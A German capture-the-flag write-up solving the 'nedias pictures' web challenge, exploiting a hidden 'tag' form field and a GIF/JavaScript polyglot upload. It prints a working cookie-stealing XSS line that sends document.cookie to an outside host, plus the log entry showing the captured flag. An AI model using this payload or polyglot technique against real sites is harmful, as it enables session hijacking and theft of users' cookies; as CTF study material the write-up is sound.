Die Challenge (nedias pictures) beschreibt eine Person namens “Nedia”, die sich gern Bilder ansieht und Flaggen gern in Cookies versteckt ;-). Alles deutet also hier bereits auf ein Cross Site Scripting hin. Wir besuchen zunächst die genannte Webseite für Uploads.
Wir finden ein simples Upload-Formular vor, das uns das Hochladen von Bildern gestattet und nach Absenden beispielsweise folgendes meldet.
Dabei wird uns das hochgeladene Bild immer zu “nediapicture.gif” umbenannt und auf der Webseite angezeigt. Ein Blick in den Quellcode der Seite zeigt dabei:
Es existiert ein weiteres versteckes Formularfeld namens “tag”, das mit “img” vorbelegt ist! Tesweise ändern wir dieses Feld mit Hilfe von Tamper Data auf – versuchsweise -“script” ;-).
Anschließend können wir folgende Änderung im Quellcode der Webseite beobachten.
Das versteckte Formularfeld “tag” steuert also das Tag, mit dem das hochgeladene Bild eingebunden wird. Wenn es uns nun gelingt Javascript-Code in das Bild einzufügen, so dass dieser korrekt interpretiert wird, können wir den Cookie von “Nedia” abgreifen.
Die Suche nach dem Einbetten von Javascript in GIF-Bilder liefert einen Blog-Eintrag. Daran orientiert erstellen wir folgendes GIF-Bild, das mit Hilfe von Javascript ein Cross Site Scripting durchführt und die Cookies jedes Besuchers zu uns überträgt.
Dabei ist auf den korrekten Javascript-Syntax zu achten, weshalb dem GIF-Header (GIF89a) Eins zugewiesen wird. Außerdem werden alle Header-Daten per Javascript-Kommentar (/* … */) ausgeblendet. Übrig bleibt das eigentliche Cross Site Scripting in Form von:
document.write("<img src='http://f00l.de/a.gif?x=" + document.cookie + "'>");
Nachdem dieses GIF-Bild hochgeladen wurde, besucht auch schon Nedia unsere Seite, was sich wie folgt in der Log-Datei zeigt:
54.218.11.211 - - [09/Jun/2013:17:54:54 +0200] "GET /a.gif?x=flag=didnt_need_script_tags_on_ie6 HTTP/1.1" 404 464 "http://localhost/gallery/9654dc3ee66a11d3dee6144ae371c5e0a8336b54/upload.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0"
Die Lösung lautet somit “didnt_need_script_tags_on_ie6“.